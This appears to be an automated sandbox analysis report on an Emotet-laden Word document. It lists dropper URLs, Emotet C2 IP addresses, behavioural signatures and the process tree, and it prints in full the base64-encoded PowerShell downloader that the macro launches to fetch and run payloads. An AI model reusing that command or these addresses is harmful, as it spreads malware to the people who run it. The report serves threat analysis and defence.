Analysis

  • max time kernel
    137s
  • max time network
    137s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    16/09/2020, 09:41

General

  • Target
    emotet_e1_41a035835264e22d0533d34539e7ae0db8573b8b7bb013a5ad3fddfc6965884c_2020-09-16__093821._doc.doc
  • Size 193KB
  • Sample200916-e7v8xvt6an
  • SHA256 41a035835264e22d0533d34539e7ae0db8573b8b7bb013a5ad3fddfc6965884c
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://boys86.com/wp-admin/mO/

  • exe.dropper

    http://dacyclin.com/3qx/Z/

  • exe.dropper

    https://fepami.com/wp-includes/oRT/

  • exe.dropper

    https://xnxxfullhd.com/wp-admin/NAK/

  • exe.dropper

    https://www.business-management-degree.net/wp-snapshots/W/

  • exe.dropper

    http://homestay.design/wordpress/M/

  • exe.dropper

    https://csc-comunity.com/wp-admin/6DW/

Extracted

Family
  • emotet

C2
  • 155.186.0.121:80

  • 51.38.124.206:80

  • 82.196.15.205:8080

  • 38.88.126.202:8080

  • 219.92.13.25:80

  • 111.67.77.202:8080

  • 95.9.180.128:80

  • 77.90.136.129:8080

  • 190.163.31.26:80

  • 74.136.144.133:80

  • 104.131.103.37:8080

  • 45.33.77.42:8080

  • 192.241.143.52:8080

  • 78.249.119.122:80

  • 177.74.228.34:80

  • 152.169.22.67:80

  • 92.24.50.153:80

  • 5.189.178.202:8080

  • 104.131.41.185:8080

  • 82.230.1.24:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • ServiceHost packer 1 IoCs

    Detects ServiceHost packer used for .NET malware

  • Blacklisted process makes network request 1 IoCs
  • Dave packer 1 IoCs

    Detects executable packed with a packer named 'Dave' from the community, due to a string at the end of it.

  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 23 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_41a035835264e22d0533d34539e7ae0db8573b8b7bb013a5ad3fddfc6965884c_2020-09-16__093821._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3984
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -encod JABNAHEAdgBiADUAZQByAD0AKAAoACcATwAnACsAJwBxAHIAZABfACcAKQArACcAMQAnACsAJwB2ACcAKQA7AC4AKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEUAbgBWADoAdQBTAEUAUgBwAHIAbwBmAGkATABFAFwARgBZADYAaQBSAF8AdwBcAGIARAA4AEoAXwA0ADEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBjAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAcgBJAHQAWQBwAFIATwBgAFQAbwBDAGAATwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAyACcAKwAnACwAJwApACsAJwAgAHQAJwArACcAbAAnACsAKAAnAHMAMQAnACsAJwAxACwAIAAnACkAKwAoACcAdAAnACsAJwBsAHMAJwApACkAOwAkAEMAZABuAGsAagB3AGEAIAA9ACAAKAAoACcARQAwACcAKwAnAGMANgB2ACcAKQArACcAZwBnACcAKQA7ACQAQQBwADMAdwA4ADkAOQA9ACgAKAAnAEoAJwArACcAMQA0ACcAKQArACcANABiACcAKwAnADAAeQAnACkAOwAkAEcAeABqADUAMQA1AGgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwAH0ARgAnACsAJwB5ACcAKwAnADYAaQAnACsAJwByAF8AdwB7ADAAfQBCACcAKwAoACcAZAA4AGoAXwA0ACcAKwAnADEAJwApACsAJwB7ADAAfQAnACkAIAAtAGYAWwBjAGgAYQByAF0AOQAyACkAKwAkAEMAZABuAGsAagB3AGEAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEUAbwB5AGIAdABzADYAPQAoACgAJwBOACcAKwAnAHIAZABhADEANwAnACkAKwAnAGMAJwApADsAJABDADcAZQA0AHkAZAA5AD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAdAAuAFcAZQBiAGMATABpAGUAbgBUADsAJABHADIAbgB2AGgAbQBfAD0AKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAoACcAOgAvACcAKwAnAC8AYgBvACcAKQArACcAeQBzACcAKwAoACcAOAA2AC4AYwBvACcAKwAnAG0ALwAnACkAKwAoACcAdwAnACsAJwBwAC0AYQAnACkAKwAoACcAZAAnACsAJwBtAGkAJwArACcAbgAvAG0AJwApACsAKAAnAE8ALwAqACcAKwAnAGgAJwApACsAJwB0ACcAKwAoACcAdABwADoALwAvACcAKwAnAGQAYQBjACcAKwAnAHkAJwArACcAYwAnACsAJwBsAGkAbgAuAGMAbwBtAC8AMwAnACsAJwBxAHgAJwArACcALwAnACkAKwAnAFoAJwArACcALwAnACsAKAAnACoAJwArACcAaAB0ACcAKQArACgAJwB0ACcAKwAnAHAAcwAnACkAKwAnADoAJwArACgAJwAvAC8AZgBlACcAKwAnAHAAJwApACsAKAAnAGEAJwArACcAbQBpAC4AYwAnACkAKwAnAG8AJwArACgAJwBtAC8AJwArACcAdwBwAC0AJwApACsAKAAnAGkAbgBjAGwAdQAnACsAJwBkACcAKQArACgAJwBlAHMALwBvAFIAVAAvACcAKwAnACoAaAAnACsAJwB0ACcAKwAnAHQAcABzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAnAHgAbgAnACsAKAAnAHgAJwArACcAeABmACcAKQArACcAdQAnACsAKAAnAGwAJwArACcAbABoACcAKQArACgAJwBkACcAKwAnAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AdwBwACcAKQArACgAJwAtAGEAJwArACcAZAAnACkAKwAoACcAbQAnACsAJwBpAG4ALwAnACkAKwAoACcATgAnACsAJwBBACcAKwAnAEsALwAqAGgAdAB0AHAAcwAnACkAKwAnADoALwAnACsAJwAvACcAKwAnAHcAdwAnACsAJwB3AC4AJwArACgAJwBiACcAKwAnAHUAcwBpACcAKQArACcAbgAnACsAKAAnAGUAcwBzACcAKwAnAC0AJwApACsAKAAnAG0AJwArACcAYQBuACcAKwAnAGEAZwBlAG0AZQBuAHQALQBkACcAKwAnAGUAZwAnACkAKwAoACcAcgAnACsAJwBlAGUAJwApACsAKAAnAC4AJwArACcAbgBlACcAKQArACgAJwB0AC8AdwAnACsAJwBwAC0AJwApACsAKAAnAHMAbgAnACsAJwBhACcAKQArACgAJwBwACcAKwAnAHMAaABvAHQAcwAvAFcAJwArACcALwAqAGgAJwApACsAKAAnAHQAJwArACcAdABwACcAKQArACcAOgAvACcAKwAoACcALwAnACsAJwBoAG8AbQBlAHMAdABhAHkAJwArACcALgAnACsAJwBkACcAKQArACcAZQBzACcAKwAnAGkAJwArACcAZwAnACsAJwBuACcAKwAnAC8AJwArACcAdwAnACsAKAAnAG8AcgBkACcAKwAnAHAAJwArACcAcgBlAHMAcwAvAE0AJwApACsAKAAnAC8AKgAnACsAJwBoAHQAJwApACsAKAAnAHQAcAAnACsAJwBzACcAKQArACcAOgAvACcAKwAoACcALwBjACcAKwAnAHMAJwApACsAKAAnAGMALQBjAG8AJwArACcAbQB1AG4AJwArACcAaQAnACsAJwB0AHkALgAnACkAKwAoACcAYwBvAG0ALwB3ACcAKwAnAHAAJwApACsAJwAtACcAKwAoACcAYQBkAG0AaQAnACsAJwBuAC8AJwApACsAJwA2ACcAKwAoACcARAAnACsAJwBXAC8AJwApACkALgAiAFMAcABgAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARwBtAGEAcABuADcAdAA9ACgAJwBOACcAKwAoACcAZgAyAGsAOAA0ACcAKwAnAHAAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABCAGcAcgBrAHMAcQBvACAAaQBuACAAJABHADIAbgB2AGgAbQBfACkAewB0AHIAeQB7ACQAQwA3AGUANAB5AGQAOQAuACIAZABvAGAAVwBuAGAATABPAEEAZABGAEkAYABMAEUAIgAoACQAQgBnAHIAawBzAHEAbwAsACAAJABHAHgAagA1ADEANQBoACkAOwAkAEgAMAB5AGcAcwBmADEAPQAoACgAJwBPACcAKwAnAHAAZABxACcAKQArACgAJwA2ADgAJwArACcAdgAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACAAJABHAHgAagA1ADEANQBoACkALgAiAGwAYABlAG4AZwBUAEgAIgAgAC0AZwBlACAAMgA5ADUAMgA3ACkAIAB7ACYAKAAnAEkAbgB2AG8AawAnACsAJwBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAEcAeABqADUAMQA1AGgAKQA7ACQATgB0AHoAMABqADEAbAA9ACgAKAAnAEIAJwArACcAdABuACcAKQArACgAJwAyAHYAcQAnACsAJwAyACcAKQApADsAYgByAGUAYQBrADsAJABYADEAMgBpADcANABlAD0AKAAoACcATQA2ADAAJwArACcANABjACcAKQArACcAMwAnACsAJwB3ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwB4AG8AagAxAGkAYgA9ACgAKAAnAEoAbAAnACsAJwBxACcAKQArACgAJwB3AG0AJwArACcAMwBfACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3456
    • C:\Users\Admin\Fy6ir_w\Bd8j_41\E0c6vgg.exe
      "C:\Users\Admin\Fy6ir_w\Bd8j_41\E0c6vgg.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2184
      • C:\Windows\SysWOW64\srmlib\AuthFWGP.exe
        "C:\Windows\SysWOW64\srmlib\AuthFWGP.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2260
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2184 -s 868
        3⤵
        • Program crash
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3380

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/2184-12-0x0000000000A20000-0x0000000000A30000-memory.dmp

        memory/2184-11-0x0000000000680000-0x0000000000692000-memory.dmp

        memory/2260-16-0x00000000005C0000-0x00000000005D2000-memory.dmp

        memory/2260-17-0x00000000005E0000-0x00000000005F0000-memory.dmp

        memory/3380-15-0x0000000004B20000-0x0000000004B21000-memory.dmp

        memory/3380-19-0x0000000005050000-0x0000000005051000-memory.dmp

        memory/3456-7-0x000001EB52770000-0x000001EB52771000-memory.dmp

        memory/3456-6-0x000001EB525C0000-0x000001EB525C1000-memory.dmp

        memory/3456-5-0x00007FFF419B0000-0x00007FFF4239C000-memory.dmp

        memory/3984-0-0x00007FFF4ED40000-0x00007FFF4F406000-memory.dmp